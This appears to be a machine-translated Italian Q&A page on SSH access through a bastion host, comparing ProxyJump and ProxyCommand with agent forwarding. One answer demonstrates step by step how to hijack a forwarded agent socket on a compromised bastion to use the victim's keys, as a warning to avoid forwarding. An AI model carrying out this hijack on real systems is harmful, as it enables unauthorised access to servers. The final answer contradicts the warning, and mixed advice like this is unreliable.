Utilizza ProxyCommand o ProxyJump
Consiglierei di usare ProxyCommand
(o ancora meglio ProxyJump
poiché la sintassi è più semplice ma richiede openssh 7.3+ penso sul lato client) e non è necessario distribuire la chiave privata su Bastion, tutto rimane locale.
Esempio con ProxyJump
Sul tuo computer client scrivi un file sotto ~/.ssh/config
con un contenuto simile a muggito:
Host bastion
HostName bastion.example.com
User bastion-user
Port 22
IdentityFile ~/.ssh/id_bastion
Host srvC
HostName srvC.local
User server-user
IdentityFile ~/.ssh/id_protected_lan
ProxyJump bastion
Poi facendo ssh srvC
ti collegherà a C tramite B (bastione) senza l'inoltro dell'agente né la distribuzione della chiave privata al bastione.
Nell'esempio sopra, "bastion" è un alias per il tuo host Bastion e srvC è un alias per il tuo server C. Nel HostName
devi inserire IP o un vero nome di dominio completo per i tuoi host. Per gli utenti, devi aggiornare il User
per il nome di accesso corretto sul Bastion e sul server C. Infine il IdentityFile
è facoltativo se utilizzi un agente locale (ad es. KeeAgent o ssh-agent), ma se non è in esecuzione, funzionerà anche e ti chiederà le passphrase di ogni chiave.
Distribuzione delle chiavi pubbliche
Ovviamente devi implementare il pubblico chiavi sia per bastion che per srvC. Puoi usare (il simbolo $ è solo per illustrare il prompt, non digitarlo):
$ ssh-copy-id -i ~/.ssh/id_bastion.pub \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
bastion
$ ssh-copy-id -i ~/.ssh/id_protected_lan.pub \
-o PreferredAuthentications=password \
-o PubkeyAuthentication=no \
srvC
Nota:quanto sopra funzionerà solo se l'autenticazione della password è ancora consentita. Dopo l'implementazione di cui sopra e la verifica che tutto funzioni come previsto, dovresti impedire l'autenticazione della password sui 2 server.
Esempio con ProxyCommand invece di ProxyJump
Se hai una versione precedente di OpenSSH che non supporta ProxyJump
(sul lato client), quindi sostituisci:
ProxyJump bastion
di
ProxyCommand ssh -q -W %h:%p bastion
Per quanto ho capito, questo è simile.
Ho visto la risposta su ProxyJump. Parliamo di ProxyCommand .
Ma aspetta, aspetta! Posso scriverti come hackerare il server che utilizza l'inoltro dell'agente, sarebbe molto più facile capire la differenza!
Facciamo hack!
Per i passaggi di base:puoi leggere il mio post qui
I passaggi di base sono i seguenti:
- Crea utenti bastion
- Disattiva accesso root
- Blocca i tentativi di hacking
- Cambia porta
- Configura il firewall
- Configura SELinux
Come utilizzare AgentForwarding
-Crea la configurazione in ~/.ssh/config
Host bast
Hostname BASTION_IP
ForwardAgent yes
User bastion
-Aggiungi la tua chiave di autenticazione a ssh-agent
ssh-add ~/.ssh/name_rsa
-Connettiti al bastion hos
ssh bast
-Connetti il server delle applicazioni dal bastione
ssh [email protected] -p PORT
Hacking!
Puoi, beh, farmi la domanda:
-
Il mio server è sicuro? E la risposta è piuttosto semplice:
- NO!
-
Perché?
- Perché stai utilizzando l'inoltro dell'agente SSH!
-
E dov'è il problema?
- Perché l'inoltro dell'agente è pericoloso ed è considerato dannoso.
-
Perché?
- Spieghiamo tutto alla rovescia:quando ti connetti al bastion host, il tuo glorioso agente ssh viene inoltrato. Significa che il socket verrà impostato in modo che qualcuno possa utilizzare questi dati del socket per accedere ai tuoi server. Immagina che il tuo bastion server sia compromesso, se qualcuno ha autorizzazioni sufficienti sul tuo server Linux, utilizzerà semplicemente le informazioni sul tuo socket. Di conseguenza, è possibile accedere a tutto il tuo server. So che la finestra di compromesso è molto piccola perché dipende da quanto tempo sei connesso al bastion host. Ma vuoi davvero rischiare quando hai altre opzioni come ProxyCommand? Quindi, usa ProxyCommand!
Come hackerare i server se hai compromesso il bastion host?
Traccia obiettivo
Nella directory /tmp potresti vedere qualcosa del genere:
[[email protected] tmp]# ll
total 12
drwx------ 2 bastion bastion 4096 Sep 7 17:35 ssh-mKX88v0Vlo
Apriamo il file temporaneo
[[email protected] tmp]# cd ssh-mKX88v0Vlo/
[[email protected] ssh-mKX88v0Vlo]# ll
total 0
srwxr-xr-x 1 bastion bastion 0 Sep 7 17:35 agent.10507
Vediamo le connessioni a questo ID processo.
netstat -nxp | grep 10507
risultato:
unix [ ] STREAM CONNECTED 501384 10507/sshd: bastion
e chi è connesso?
lsof -i -a -p 10507
risultato:
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sshd 10507 bastion 3u IPv4 501301 0t0 TCP *IP*:ssh->*IP*:8279 (ESTABLISHED)
Possiamo anche vedere i file socket:
cd /proc/10507/fd/
ls
risultato:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
E cosa succede quando il client sarà connesso al server remoto? vediamo:
lrwx------ 1 root root 64 Sep 7 17:46 0 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 1 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 10 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:48 11 -> socket:[502267]
lrwx------ 1 root root 64 Sep 7 17:46 14 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 15 -> /dev/ptmx
lrwx------ 1 root root 64 Sep 7 17:46 2 -> /dev/null
lrwx------ 1 root root 64 Sep 7 17:46 3 -> socket:[501994]
lrwx------ 1 root root 64 Sep 7 17:46 4 -> socket:[502069]
lrwx------ 1 root root 64 Sep 7 17:46 5 -> socket:[502072]
l-wx------ 1 root root 64 Sep 7 17:46 6 -> /run/systemd/sessions/1836.ref
lr-x------ 1 root root 64 Sep 7 17:46 7 -> pipe:[502079]
l-wx------ 1 root root 64 Sep 7 17:46 8 -> pipe:[502079]
lrwx------ 1 root root 64 Sep 7 17:46 9 -> socket:[502080]
Possiamo anche vedere se il file socket è usato usando netstat:
unix 3 [ ] STREAM CONNECTED 502267 10561/sshd:
bastion /tmp/ssh-oVoMXC6vb8/agent.10561
unix 3 [ ] STREAM CONNECTED 502072 10561/sshd: bastion
Ruba informazioni sul socket e indirizzo IP
Ora dobbiamo rubare le informazioni sul socket mentre la sessione del bastion host è aperta . Oh, abbiamo anche bisogno dell'IP del server di destinazione , quindi usa netstat:
netstat -tn
Il passaggio finale per utilizzare il file socket inoltrato
eval "$(ssh-agent -s)"
SSH_AUTH_SOCK=/tmp/ssh-EAKxOdL4fl/agent.10507
Controlla se la chiave è caricata .
ssh-add -l
il risultato dovrebbe essere qualcosa del genere :
2048 SHA256:2Psdl..B5KQ /home/usr/.ssh/name_rsa (RSA)
Il server è stato violato, come risolvere il problema di sicurezza?
Comando proxy
Host app
Hostname *.*.*.*
IdentityFile ~/.ssh/your_rsa
User *******
Port ****
ProxyCommand ssh -W %h:%p bast
Host bast
Hostname *.*.*.*
ForwardAgent no
User ******
Per le operazioni di base:come trasferire i file tramite i server (da client a server, da server a client), puoi leggere il mio post qui
Conclusione
- Se usi un bastion host, non usare AgentForwarding ma usaProxyCommand
- Utilizza sempre un utente non root per l'autenticazione
- Utilizza un firewall e blocca tutte le connessioni non necessarie.
- Usa SELinux (in generale)
- Blocca l'indirizzo IP che tenta di accedere più volte con credenziali errate
- Se non è necessario, non concedere l'autorizzazione sudo all'utente
- Monitora il tuo server
- Aggiorna il tuo server per le patch di sicurezza
Maggiori informazioni, vedere il mio blog. Inoltre ho alcuni screenshot, quindi potrebbe esserti utile.
Utilizza semplicemente l'inoltro dell'agente SSH come la maggior parte degli altri.
- Le chiavi saranno in ssh agent sul tuo portatile.
- Accedi a bastion, autenticato tramite l'agente.
- Da lì accedi al tuo host di destinazione, con la richiesta di autenticazione inoltrata al tuo laptop .
Vantaggio:non ci sono chiavi memorizzate sul bastione che possono essere utilizzate in modo improprio.
Spero di esserti stato d'aiuto :)